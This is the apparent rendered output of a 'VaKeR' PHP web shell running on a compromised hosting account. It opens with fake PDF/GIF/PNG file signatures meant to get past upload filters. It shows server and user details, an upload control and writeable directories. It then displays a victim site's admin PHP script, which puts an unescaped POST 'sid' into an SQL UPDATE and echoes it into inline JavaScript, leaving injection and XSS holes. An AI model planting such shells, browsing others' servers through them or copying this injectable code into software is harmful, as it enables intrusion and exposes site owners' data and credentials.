%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/admin/keyfeaturesupdatedata.php
<?php

include('../dbcon.php');

if(isset($_POST['submit']))
{
    $project_id = mysqli_real_escape_string($conn, $_POST['project_id']);
    $messaging_sender_id = mysqli_real_escape_string($conn, $_POST['messaging_sender_id']);
    $service_account_json = mysqli_real_escape_string($conn, $_POST['service_account_json']);
    $status = mysqli_real_escape_string($conn, $_POST['status']);
    $id = $_POST['sid'];

    $qry = "UPDATE `firebase_settings`
            SET
            `project_id`='$project_id',
            `messaging_sender_id`='$messaging_sender_id',
            `service_account_json`='$service_account_json',
            `status`='$status'
            WHERE `id`='$id'";

    $result = mysqli_query($conn, $qry);

    if($result)
    {
        ?>
        <script>
            alert('Data Updated Successfully');
            window.open('keyfeaturesshow.php?sid=<?php echo $id; ?>','_self');
        </script>
        <?php
    }
    else
    {
        ?>
        <script>
            alert('Error Updating Data');
            window.history.back();
        </script>
        <?php
    }
}
?>

VaKeR 2022